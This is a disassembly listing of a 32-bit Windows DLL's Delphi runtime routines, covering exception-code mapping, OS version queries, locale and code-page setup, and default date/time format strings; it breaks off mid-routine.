--------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10006CD8 proc near ; DATA XREF: sub_10007030+74o ; BSS:off_1000A028o mov ecx, ds:off_100092F8 mov dl, 1 mov eax, off_100052D8 call sub_10006A30 call sub_10003080 retn sub_10006CD8 endp ; =============== S U B R O U T I N E ======================================= sub_10006CF0 proc near ; CODE XREF: sub_10006D70+5p ; sub_10006F54+20p mov eax, [eax] cmp eax, 0C0000092h jg short loc_10006D25 jz short loc_10006D54 cmp eax, 0C000008Eh jg short loc_10006D17 jz short loc_10006D57 sub eax, 0C0000005h jz short loc_10006D60 sub eax, 87h jz short loc_10006D4E dec eax jz short loc_10006D5D jmp short loc_10006D6C ; --------------------------------------------------------------------------- loc_10006D17: ; CODE XREF: sub_10006CF0+10j add eax, 3FFFFF71h sub eax, 2 jb short loc_10006D54 jz short loc_10006D5A jmp short loc_10006D6C ; --------------------------------------------------------------------------- loc_10006D25: ; CODE XREF: sub_10006CF0+7j cmp eax, 0C0000096h jg short loc_10006D3D jz short loc_10006D63 sub eax, 0C0000093h jz short loc_10006D5D dec eax jz short loc_10006D4B dec eax jz short loc_10006D51 jmp short loc_10006D6C ; --------------------------------------------------------------------------- loc_10006D3D: ; CODE XREF: sub_10006CF0+3Aj sub eax, 0C00000FDh jz short loc_10006D69 sub eax, 3Dh jz short loc_10006D66 jmp short loc_10006D6C ; --------------------------------------------------------------------------- loc_10006D4B: ; CODE XREF: sub_10006CF0+46j mov al, 3 retn ; --------------------------------------------------------------------------- loc_10006D4E: ; CODE XREF: sub_10006CF0+20j mov al, 4 retn ; --------------------------------------------------------------------------- loc_10006D51: ; CODE XREF: sub_10006CF0+49j mov al, 5 retn ; --------------------------------------------------------------------------- loc_10006D54: ; CODE XREF: sub_10006CF0+9j ; sub_10006CF0+2Fj mov al, 6 retn ; --------------------------------------------------------------------------- loc_10006D57: ; CODE XREF: sub_10006CF0+12j mov al, 7 retn ; --------------------------------------------------------------------------- loc_10006D5A: ; CODE XREF: sub_10006CF0+31j mov al, 8 retn ; --------------------------------------------------------------------------- loc_10006D5D: ; CODE XREF: sub_10006CF0+23j ; sub_10006CF0+43j mov al, 9 retn ; --------------------------------------------------------------------------- loc_10006D60: ; CODE XREF: sub_10006CF0+19j mov al, 0Bh retn ; --------------------------------------------------------------------------- loc_10006D63: ; CODE XREF: sub_10006CF0+3Cj mov al, 0Ch retn ; --------------------------------------------------------------------------- loc_10006D66: ; CODE XREF: sub_10006CF0+57j mov al, 0Dh retn ; --------------------------------------------------------------------------- loc_10006D69: ; CODE XREF: sub_10006CF0+52j mov al, 0Eh retn ; --------------------------------------------------------------------------- loc_10006D6C: ; CODE XREF: sub_10006CF0+25j ; sub_10006CF0+33j ... mov al, 16h retn sub_10006CF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10006D70 proc near ; DATA XREF: sub_10007030+56o push ebx mov ebx, eax mov eax, ebx call sub_10006CF0 and eax, 0FFh mov eax, ds:dword_100091C4[eax*8] pop ebx retn sub_10006D70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10006D88 proc near ; CODE XREF: sub_10006F54+54p var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = byte ptr -168h var_164 = dword ptr -164h var_160 = byte ptr -160h var_15C = dword ptr -15Ch var_158 = byte ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = byte ptr -144h var_140 = dword ptr -140h var_13C = byte ptr -13Ch var_138 = dword ptr -138h var_134 = byte ptr -134h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_125 = byte ptr -125h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFE90h push ebx push esi xor eax, eax mov [ebp+var_170], eax mov [ebp+var_14C], eax mov [ebp+var_154], eax mov [ebp+var_150], eax mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_10006F43 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_0] mov ebx, [eax-4] cmp dword ptr [ebx+14h], 0 jnz short loc_10006DD9 lea edx, [ebp+var_4] mov eax, ds:off_100093F8 call sub_100041C0 jmp short loc_10006DE6 ; --------------------------------------------------------------------------- loc_10006DD9: ; CODE XREF: sub_10006D88+40j lea edx, [ebp+var_4] mov eax, ds:off_1000938C call sub_100041C0 loc_10006DE6: ; CODE XREF: sub_10006D88+4Fj mov esi, [ebx+18h] push 1Ch lea eax, [ebp+var_20] push eax mov eax, [ebx+0Ch] push eax call sub_10004650 ; VirtualQuery cmp [ebp+var_10], 1000h jnz loc_10006EB8 push 105h lea eax, [ebp+var_125] push eax mov eax, [ebp+var_1C] push eax call sub_100045C0 ; GetModuleFileNameA test eax, eax jz loc_10006EB8 mov eax, [ebx+0Ch] mov [ebp+var_148], eax mov [ebp+var_144], 5 lea eax, [ebp+var_150] lea edx, [ebp+var_125] mov ecx, 105h call sub_10003868 mov eax, [ebp+var_150] lea edx, [ebp+var_14C] call sub_10005600 mov eax, [ebp+var_14C] mov [ebp+var_140], eax mov [ebp+var_13C], 0Bh mov eax, [ebp+var_4] mov [ebp+var_138], eax mov [ebp+var_134], 0Bh mov [ebp+var_130], esi mov [ebp+var_12C], 5 lea eax, [ebp+var_148] push eax push 3 lea edx, [ebp+var_154] mov eax, ds:off_100093B4 call sub_100041C0 mov ecx, [ebp+var_154] mov dl, 1 mov eax, off_100050B0 call sub_100069B0 mov ebx, eax jmp short loc_10006F12 ; --------------------------------------------------------------------------- loc_10006EB8: ; CODE XREF: sub_10006D88+77j ; sub_10006D88+94j mov eax, [ebx+0Ch] mov [ebp+var_16C], eax mov [ebp+var_168], 5 mov eax, [ebp+var_4] mov [ebp+var_164], eax mov [ebp+var_160], 0Bh mov [ebp+var_15C], esi mov [ebp+var_158], 5 lea eax, [ebp+var_16C] push eax push 2 lea edx, [ebp+var_170] mov eax, ds:off_10009390 call sub_100041C0 mov ecx, [ebp+var_170] mov dl, 1 mov eax, off_100050B0 call sub_100069B0 mov ebx, eax loc_10006F12: ; CODE XREF: sub_10006D88+12Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10006F4A loc_10006F1F: ; CODE XREF: sub_10006D88+1C0j lea eax, [ebp+var_170] call sub_10003620 lea eax, [ebp+var_154] mov edx, 3 call sub_10003644 lea eax, [ebp+var_4] call sub_10003620 retn ; --------------------------------------------------------------------------- loc_10006F43: ; DATA XREF: sub_10006D88+2Bo jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10006F1F ; --------------------------------------------------------------------------- loc_10006F4A: ; CODE XREF: sub_10006D88+1BAj ; DATA XREF: sub_10006D88+192o mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn sub_10006D88 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10006F54 proc near ; DATA XREF: sub_10007030+61o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx xor edx, edx mov [ebp+var_10], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_1000700F push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_10006CF0 and eax, 0FFh mov edx, eax add edx, 0FFFFFFFDh sub edx, 8 jb short loc_10006F90 jz short loc_10006FA7 dec edx sub edx, 0Ah jnb short loc_10006FB2 loc_10006F90: ; CODE XREF: sub_10006F54+32j lea eax, dword_100091C4[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_10006974 mov ebx, eax jmp short loc_10006FE2 ; --------------------------------------------------------------------------- loc_10006FA7: ; CODE XREF: sub_10006F54+34j push ebp call sub_10006D88 pop ecx mov ebx, eax jmp short loc_10006FE2 ; --------------------------------------------------------------------------- loc_10006FB2: ; CODE XREF: sub_10006F54+3Aj mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_C], eax mov [ebp+var_8], 0 lea eax, [ebp+var_C] push eax push 0 lea edx, [ebp+var_10] mov eax, ds:off_100092B8 call sub_100041C0 mov ecx, [ebp+var_10] mov dl, 1 mov eax, off_10004C20 call sub_100069B0 mov ebx, eax loc_10006FE2: ; CODE XREF: sub_10006F54+51j ; sub_10006F54+5Cj mov eax, ebx mov edx, off_10004BC8 call sub_10002D10 test al, al jz short loc_10006FF9 mov eax, [ebp+var_4] mov [ebx+0Ch], eax loc_10006FF9: ; CODE XREF: sub_10006F54+9Dj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10007016 loc_10007006: ; CODE XREF: sub_10006F54+C0j lea eax, [ebp+var_10] call sub_10003620 retn ; --------------------------------------------------------------------------- loc_1000700F: ; DATA XREF: sub_10006F54+12o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10007006 ; --------------------------------------------------------------------------- loc_10007016: ; CODE XREF: sub_10006F54+BAj ; DATA XREF: sub_10006F54+ADo mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_10006F54 endp ; --------------------------------------------------------------------------- align 10h dword_10007020 dd 0FFF887E8h, 1B8FFh, 0D9E80000h, 0C3FFFFC5h ; DATA XREF: sub_10007030+3Eo ; =============== S U B R O U T I N E ======================================= sub_10007030 proc near ; CODE XREF: sub_10007DD0:loc_10007E16p mov ecx, ds:off_100092E8 mov dl, 1 mov eax, off_10004B14 call sub_10006A30 mov ds:dword_1000A794, eax mov ecx, ds:off_10009374 mov dl, 1 mov eax, off_10004F9C call sub_10006A30 mov ds:dword_1000A798, eax mov eax, ds:off_100092C0 mov dword ptr [eax], offset sub_10006BAC mov eax, ds:off_10009314 mov dword ptr [eax], offset dword_10007020 mov eax, ds:off_100092DC mov edx, off_10004A50 mov [eax], edx mov eax, ds:off_1000930C mov dword ptr [eax], offset sub_10006D70 mov eax, ds:off_10009318 mov dword ptr [eax], offset sub_10006F54 mov eax, offset sub_10006CBC mov edx, ds:off_10009384 mov [edx], eax mov eax, offset sub_10006CD8 mov edx, ds:off_100092B4 mov [edx], eax retn sub_10007030 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100070B4 proc near ; CODE XREF: sub_10007C50+2Cp cmp ds:dword_1000A794, 0 jz short loc_100070D7 mov eax, ds:dword_1000A794 mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_1000A794 mov edx, [eax] call dword ptr [edx-8] xor eax, eax mov ds:dword_1000A794, eax loc_100070D7: ; CODE XREF: sub_100070B4+7j cmp ds:dword_1000A798, 0 jz short loc_100070FA mov eax, ds:dword_1000A798 mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_1000A798 call sub_10002C8C xor eax, eax mov ds:dword_1000A798, eax loc_100070FA: ; CODE XREF: sub_100070B4+2Aj mov eax, ds:off_100092C0 xor edx, edx mov [eax], edx mov eax, ds:off_10009314 xor edx, edx mov [eax], edx mov eax, ds:off_100092DC xor edx, edx mov [eax], edx mov eax, ds:off_1000930C xor edx, edx mov [eax], edx mov eax, ds:off_10009318 xor edx, edx mov [eax], edx mov eax, ds:off_10009384 xor edx, edx mov [eax], edx retn sub_100070B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10007134 proc near ; CODE XREF: sub_10007DD0+4Bp var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h add esp, 0FFFFFF6Ch mov [esp+94h+var_94], 94h push esp call sub_10004600 ; GetVersionExA test eax, eax jz short loc_1000719B mov eax, [esp+94h+var_84] mov ds:dword_100090B0, eax mov eax, [esp+94h+var_90] mov ds:dword_100090B4, eax mov eax, [esp+94h+var_8C] mov ds:dword_100090B8, eax cmp ds:dword_100090B0, 1 jnz short loc_1000717F mov eax, [esp+94h+var_88] and eax, 0FFFFh mov ds:dword_100090BC, eax jmp short loc_10007188 ; --------------------------------------------------------------------------- loc_1000717F: ; CODE XREF: sub_10007134+39j mov eax, [esp+94h+var_88] mov ds:dword_100090BC, eax loc_10007188: ; CODE XREF: sub_10007134+49j mov eax, offset dword_100090C0 lea edx, [esp+94h+var_80] mov ecx, 80h call sub_10003868 loc_1000719B: ; CODE XREF: sub_10007134+15j add esp, 94h retn sub_10007134 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100071A4 proc near ; CODE XREF: sub_1000721C+1Bp ; sub_10007240+Bp push esi push edi mov edi, edx xor edx, edx test eax, eax jz short loc_10007214 cmp byte ptr [eax+edi], 0 jz short loc_10007214 test edi, edi jnz short loc_100071CC mov al, [eax] and eax, 0FFh bt ds:dword_100090C4, eax jnb short loc_10007214 mov dl, 1 jmp short loc_10007214 ; --------------------------------------------------------------------------- loc_100071CC: ; CODE XREF: sub_100071A4+12j mov esi, edi dec esi jmp short loc_100071D2 ; --------------------------------------------------------------------------- loc_100071D1: ; CODE XREF: sub_100071A4+42j dec esi loc_100071D2: ; CODE XREF: sub_100071A4+2Bj test esi, esi jl short loc_100071E8 mov cl, [eax+esi] and ecx, 0FFh bt ds:dword_100090C4, ecx jb short loc_100071D1 loc_100071E8: ; CODE XREF: sub_100071A4+30j mov ecx, edi sub ecx, esi and ecx, 80000001h jns short loc_100071F9 dec ecx or ecx, 0FFFFFFFEh inc ecx loc_100071F9: ; CODE XREF: sub_100071A4+4Ej test ecx, ecx jnz short loc_10007201 mov dl, 2 jmp short loc_10007214 ; --------------------------------------------------------------------------- loc_10007201: ; CODE XREF: sub_100071A4+57j mov al, [eax+edi] and eax, 0FFh bt ds:dword_100090C4, eax jnb short loc_10007214 mov dl, 1 loc_10007214: ; CODE XREF: sub_100071A4+8j ; sub_100071A4+Ej ... mov eax, edx pop edi pop esi retn sub_100071A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000721C proc near ; CODE XREF: sub_100055B0+37p push ebx push esi mov esi, edx mov ebx, eax xor eax, eax cmp byte ptr ds:dword_1000A74C, 0 jz short loc_1000723C mov eax, ebx call sub_1000397C mov edx, esi dec edx call sub_100071A4 loc_1000723C: ; CODE XREF: sub_1000721C+Fj pop esi pop ebx retn sub_1000721C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10007240 proc near ; CODE XREF: sub_10005760+1Bp ; sub_100072DC+1Cp xor ecx, ecx cmp byte ptr ds:dword_1000A74C, 0 jz short loc_10007252 call sub_100071A4 mov ecx, eax loc_10007252: ; CODE XREF: sub_10007240+9j mov eax, ecx retn sub_10007240 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10007258 proc near ; CODE XREF: sub_10007278+31p push ebx mov ebx, eax cmp byte ptr ds:dword_1000A74C, 0 jz short loc_1000726E push ebx call sub_10004668 ; CharNextA sub eax, ebx pop ebx retn ; --------------------------------------------------------------------------- loc_1000726E: ; CODE XREF: sub_10007258+Aj mov eax, 1 pop ebx retn sub_10007258 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10007278 proc near ; CODE XREF: sub_100064F0+D1p push ebx push esi mov esi, edx mov ebx, eax mov eax, 1 cmp byte ptr ds:dword_1000A74C, 0 jz short loc_100072AE mov dl, [ebx+esi-1] and edx, 0FFh bt ds:dword_100090C4, edx jnb short loc_100072AE mov eax, ebx call sub_1000397C add eax, esi dec eax call sub_10007258 loc_100072AE: ; CODE XREF: sub_10007278+12j ; sub_10007278+25j pop esi pop ebx retn sub_10007278 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100072B4 proc near ; CODE XREF: CODE:100067A2p push ebx push esi mov ebx, edx mov edx, ebx call sub_100072DC mov esi, eax test bl, bl jz short loc_100072D7 test eax, eax jz short loc_100072D7 loc_100072C9: ; CODE XREF: sub_100072B4+21j mov esi, eax inc eax mov edx, ebx call sub_100072DC test eax, eax jnz short loc_100072C9 loc_100072D7: ; CODE XREF: sub_100072B4+Fj ; sub_100072B4+13j mov eax, esi pop esi pop ebx retn sub_100072B4 endp ; =============== S U B R O U T I N E ======================================= sub_100072DC proc near ; CODE XREF: sub_100072B4+6p ; sub_100072B4+1Ap push ebx push esi push edi mov ebx, edx mov esi, eax mov edx, ebx mov eax, esi call sub_1000574C mov edi, eax test edi, edi jz short loc_10007316 loc_100072F2: ; CODE XREF: sub_100072DC+38j mov edx, edi sub edx, esi mov eax, esi call sub_10007240 sub al, 1 jb short loc_10007316 jz short loc_10007305 jmp short loc_10007306 ; --------------------------------------------------------------------------- loc_10007305: ; CODE XREF: sub_100072DC+25j inc edi loc_10007306: ; CODE XREF: sub_100072DC+27j inc edi mov edx, ebx mov eax, edi call sub_1000574C mov edi, eax test edi, edi jnz short loc_100072F2 loc_10007316: ; CODE XREF: sub_100072DC+14j ; sub_100072DC+23j mov eax, edi pop edi pop esi pop ebx retn sub_100072DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1000731C proc near ; CODE XREF: sub_10007390+13p var_C = dword ptr -0Ch var_7 = byte ptr -7 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx xor edx, edx mov [ebp+var_C], edx xor edx, edx push ebp push offset loc_10007380 push dword ptr fs:[edx] mov fs:[edx], esp push 7 lea edx, [ebp+var_7] push edx push 1004h push eax call sub_100045B8 ; GetLocaleInfoA lea eax, [ebp+var_C] lea edx, [ebp+var_7] mov ecx, 7 call sub_10003868 mov eax, [ebp+var_C] push eax call sub_10004590 ; GetACP mov edx, eax pop eax call sub_10005580 mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10007387 loc_10007377: ; CODE XREF: sub_1000731C+69j lea eax, [ebp+var_C] call sub_10003620 retn ; --------------------------------------------------------------------------- loc_10007380: ; DATA XREF: sub_1000731C+Fo jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10007377 ; --------------------------------------------------------------------------- loc_10007387: ; CODE XREF: sub_1000731C+63j ; DATA XREF: sub_1000731C+56o mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_1000731C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10007390 proc near ; CODE XREF: sub_10007408+93p ; sub_10007408+145p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] add edi, 0FFFFFFECh push edi mov eax, ds:dword_1000A740 call sub_1000731C push eax call sub_10004598 ; GetCPInfo xor esi, esi jmp short loc_100073DB ; --------------------------------------------------------------------------- loc_100073B2: ; CODE XREF: sub_10007390+58j mov al, [edi+esi+6] mov bl, [edi+esi+7] sub bl, al jb short loc_100073D8 inc ebx mov [ebp+var_1], al loc_100073C2: ; CODE XREF: sub_10007390+46j mov al, [ebp+var_1] and eax, 0FFh bts ds:dword_100090C4, eax inc [ebp+var_1] dec bl jnz short loc_100073C2 loc_100073D8: ; CODE XREF: sub_10007390+2Cj add esi, 2 loc_100073DB: ; CODE XREF: sub_10007390+20j cmp esi, 0Ch jge short loc_100073EA mov al, [edi+esi+6] or al, [edi+esi+7] jnz short loc_100073B2 loc_100073EA: ; CODE XREF: sub_10007390+4Ej pop edi pop esi pop ebx pop ecx pop ebp retn sub_10007390 endp ; =============== S U B R O U T I N E ======================================= sub_100073F0 proc near ; CODE XREF: sub_10007408+76p mov eax, ds:dword_1000A744 cmp eax, 1Fh ja short loc_10007401 bt ds:dword_1000928C, eax loc_10007401: ; CODE XREF: sub_100073F0+8j setb al retn sub_100073F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10007408 proc near ; CODE XREF: sub_1000757C+1Ep var_196 = byte ptr -196h var_94 = byte ptr -94h push ebp mov ebp, esp add esp, 0FFFFFE68h push ebx push esi push edi mov ds:dword_1000A740, 409h mov ds:dword_1000A744, 9 mov ds:dword_1000A748, 1 call sub_100045F8 ; GetThreadLocale test eax, eax jz short loc_10007440 mov ds:dword_1000A740, eax loc_10007440: ; CODE XREF: sub_10007408+31j test ax, ax jz short loc_10007460 mov edx, eax and dx, 3FFh movzx edx, dx mov ds:dword_1000A744, edx movzx eax, ax shr eax, 0Ah mov ds:dword_1000A748, eax loc_10007460: ; CODE XREF: sub_10007408+3Bj mov esi, offset dword_1000755C mov edi, offset dword_100090C4 mov ecx, 8 rep movsd cmp ds:dword_100090B0, 2 jnz loc_10007525 call sub_100073F0 test al, al jz short loc_1000749A mov byte ptr ds:dword_1000A74C+1, 0 mov byte ptr ds:dword_1000A74C, 0 jmp loc_10007553 ; --------------------------------------------------------------------------- loc_1000749A: ; CODE XREF: sub_10007408+7Dj push ebp call sub_10007390 pop ecx mov eax, offset dword_100090C4 mov edx, offset dword_1000755C mov cl, 20h call sub_10002828 setnz bl mov byte ptr ds:dword_1000A74C, bl test bl, bl jz short loc_100074CB mov byte ptr ds:dword_1000A74C+1, 0 jmp loc_10007553 ; --------------------------------------------------------------------------- loc_100074CB: ; CODE XREF: sub_10007408+B5j mov eax, 80h lea edx, [ebp+var_94] loc_100074D6: ; CODE XREF: sub_10007408+D7j mov [edx], al inc eax inc edx cmp eax, 100h jnz short loc_100074D6 lea eax, [ebp+var_94] lea edx, [ebp+var_196] push edx push 80h push eax push 2 mov eax, ds:dword_1000A740 push eax call sub_100045E0 ; GetStringTypeExA mov eax, 80h lea edx, [ebp+var_196] loc_1000750C: ; CODE XREF: sub_10007408+119j cmp word ptr [edx], 2 setz cl mov byte ptr ds:dword_1000A74C+1, cl test cl, cl jnz short loc_10007553 add edx, 2 dec eax jnz short loc_1000750C jmp short loc_10007553 ; --------------------------------------------------------------------------- loc_10007525: ; CODE XREF: sub_10007408+70j push 4Ah call sub_10004678 ; GetSystemMetrics test eax, eax setnz al mov byte ptr ds:dword_1000A74C+1, al push 2Ah call sub_10004678 ; GetSystemMetrics test eax, eax setnz bl mov byte ptr ds:dword_1000A74C, bl test bl, bl jz short loc_10007553 push ebp call sub_10007390 pop ecx loc_10007553: ; CODE XREF: sub_10007408+8Dj ; sub_10007408+BEj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_10007408 endp ; --------------------------------------------------------------------------- align 4 dword_1000755C dd 8 dup(0) ; DATA XREF: sub_10007408:loc_10007460o ; sub_10007408+9Eo ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1000757C proc near ; CODE XREF: sub_10007DD0+55p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 8 loc_10007584: ; CODE XREF: sub_1000757C+Dj push 0 push 0 dec ecx jnz short loc_10007584 push ebx xor eax, eax push ebp push offset loc_10007847 push dword ptr fs:[eax] mov fs:[eax], esp call sub_10007408 call sub_10006268 cmp byte ptr ds:dword_1000A74C, 0 jz short loc_100075B2 call sub_10006440 loc_100075B2: ; CODE XREF: sub_1000757C+2Fj call sub_100045F8 ; GetThreadLocale mov ebx, eax lea eax, [ebp+var_10] push eax xor ecx, ecx mov edx, 14h mov eax, ebx call sub_100061B8 mov edx, [ebp+var_10] mov eax, offset dword_1000A680 call sub_10003674 lea eax, [ebp+var_14] push eax mov ecx, offset dword_1000785C mov edx, 1Bh mov eax, ebx call sub_100061B8 mov eax, [ebp+var_14] xor edx, edx call sub_10005580 mov ds:byte_1000A684, al lea eax, [ebp+var_18] push eax mov ecx, offset dword_1000785C mov edx, 1Ch mov eax, ebx call sub_100061B8 mov eax, [ebp+var_18] xor edx, edx call sub_10005580 mov ds:byte_1000A685, al mov cl, 2Ch mov edx, 0Fh mov eax, ebx call sub_10006204 mov ds:byte_1000A686, al mov cl, 2Eh mov edx, 0Eh mov eax, ebx call sub_10006204 mov ds:byte_1000A687, al lea eax, [ebp+var_1C] push eax mov ecx, offset dword_1000785C mov edx, 19h mov eax, ebx call sub_100061B8 mov eax, [ebp+var_1C] xor edx, edx call sub_10005580 mov ds:byte_1000A688, al mov cl, 2Fh mov edx, 1Dh mov eax, ebx call sub_10006204 mov ds:byte_1000A689, al lea eax, [ebp+var_24] push eax mov ecx, offset dword_10007868 mov edx, 1Fh mov eax, ebx call sub_100061B8 mov eax, [ebp+var_24] lea edx, [ebp+var_20] call sub_100064F0 mov edx, [ebp+var_20] mov eax, offset dword_1000A68C call sub_10003674 lea eax, [ebp+var_2C] push eax mov ecx, offset dword_10007878 mov edx, 20h mov eax, ebx call sub_100061B8 mov eax, [ebp+var_2C] lea edx, [ebp+var_28] call sub_100064F0 mov edx, [ebp+var_28] mov eax, offset dword_1000A690 call sub_10003674 mov cl, 3Ah mov edx, 1Eh mov eax, ebx call sub_10006204 mov ds:byte_1000A694, al lea eax, [ebp+var_30] push eax mov ecx, offset dword_10007890 mov edx, 28h mov eax, ebx call sub_100061B8 mov edx, [ebp+var_30] mov eax, offset dword_1000A698 call sub_10003674 lea eax, [ebp+var_34] push eax mov ecx, offset dword_1000789C mov edx, 29h mov eax, ebx call sub_100061B8 mov edx, [ebp+var_34] mov eax, offset dword_1000A69C call sub_10003674 lea eax, [ebp+var_8] call sub_10003620 lea eax, [ebp+var_C] call sub_10003620 lea eax, [ebp+var_38] push eax mov ecx, offset dword_1000785C mov edx, 25h mov eax, ebx call sub_100061B8 mov eax, [ebp+var_38] xor edx, edx call sub_10005580 test eax, eax jnz short loc_10007770 lea eax, [ebp+var_4] mov edx, offset dword_100078A8 call sub_100036B8 jmp short loc_1000777D ; --------------------------------------------------------------------------- loc_10007770: ; CODE XREF: sub_1000757C+1E3j lea eax, [ebp+var_4] mov edx, offset dword_100078B4 call sub_100036B8 loc_1000777D: ; CODE XREF: sub_1000757C+1F2j lea eax, [ebp+var_3C] push eax mov ecx, offset dword_1000785C mov edx, 23h mov eax, ebx call sub_100061B8 mov eax, [ebp+var_3C] xor edx, edx call sub_10005580 test eax, eax jnz short loc_100077DF lea eax, [ebp+var_40] push eax mov ecx, offset dword_1000785C mov edx, 1005h mov eax, ebx call sub_100061B8 mov eax, [ebp+var_40] xor edx, edx call sub_10005580 test eax, eax jnz short loc_100077D2 lea eax, [ebp+var_C] mov edx, offset dword_100078C0 call sub_100036B8 jmp short loc_100077DF ; --------------------------------------------------------------------------- loc_100077D2: ; CODE XREF: sub_1000757C+245j lea eax, [ebp+var_8] mov edx, offset dword_100078D0 call sub_100036B8 loc_100077DF: ; CODE XREF: sub_1000757C+222j ; sub_1000757C+254j push [ebp+var_8] push [ebp+var_4] push offset dword_100078E0 push [ebp+var_C] mov eax, offset dword_1000A6A0 mov edx, 4 call sub_100038E0 push [ebp+var_8] push [ebp+var_4] push offset dword_100078EC push [ebp+var_C] mov eax, offset dword_1000A6A4 mov edx, 4 call sub_100038E0 mov cl, 2Ch mov edx, 0Ch mov eax, ebx call sub_10006204 mov byte ptr ds:dword_1000A74C+2, al xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000784E loc_10007839: ; CODE XREF: sub_1000757C+2D0j lea eax, [ebp+var_40] mov edx, 10h call sub_10003644 retn ; --------------------------------------------------------------------------- loc_10007847: ; DATA XREF: sub_1000757C+13o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10007839 ; --------------------------------------------------------------------------- loc_1000784E: ; CODE XREF: sub_1000757C+2CAj ; DATA XREF: sub_1000757C+2B8o pop ebx mov esp, ebp pop ebp retn sub_1000757C endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_1000785C dd 30h, 0FFFFFFFFh, 6 ; DATA XREF: sub_1000757C+60o ; sub_1000757C+84o ... dword_10007868 dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_1000757C+105o dword_10007878 dd 6D6D6D6Dh, 202C6420h, 79797979h, 0 ; DATA XREF: sub_1000757C+132o dd 0FFFFFFFFh, 2 dword_10007890 dd 6D61h, 0FFFFFFFFh, 2 ; DATA XREF: sub_1000757C+172o dword_1000789C dd 6D70h, 0FFFFFFFFh, 1 ; DATA XREF: sub_1000757C+194o dword_100078A8 dd 68h, 0FFFFFFFFh, 2 ; DATA XREF: sub_1000757C+1E8o dword_100078B4 dd 6868h, 0FFFFFFFFh, 5 ; DATA XREF: sub_1000757C+1F7o dword_100078C0 dd 504D4120h, 4Dh, 0FFFFFFFFh, 5 ; DATA XREF: sub_1000757C+24Ao dword_100078D0 dd 4D504D41h, 20h, 0FFFFFFFFh, 3 ; DATA XREF: sub_1000757C+259o dword_100078E0 dd 6D6D3Ah, 0FFFFFFFFh, 6 ; DATA XREF: sub_1000757C+269o dword_100078EC dd 3A6D6D3Ah, 7373h ; DATA XREF: sub_1000757C+286o ; =============== S U B R O U T I N E ======================================= sub_100078F4 proc near ; CODE XREF: sub_10007C50+27p push ebx mov ebx, offset dword_10009290 jmp short loc_1000790C ; --------------------------------------------------------------------------- loc_100078FC: ; CODE XREF: sub_100078F4+1Bj mov eax, [ebx] mov edx, [eax] mov [ebx], edx mov edx, 8 call sub_10002518 loc_1000790C: ; CODE 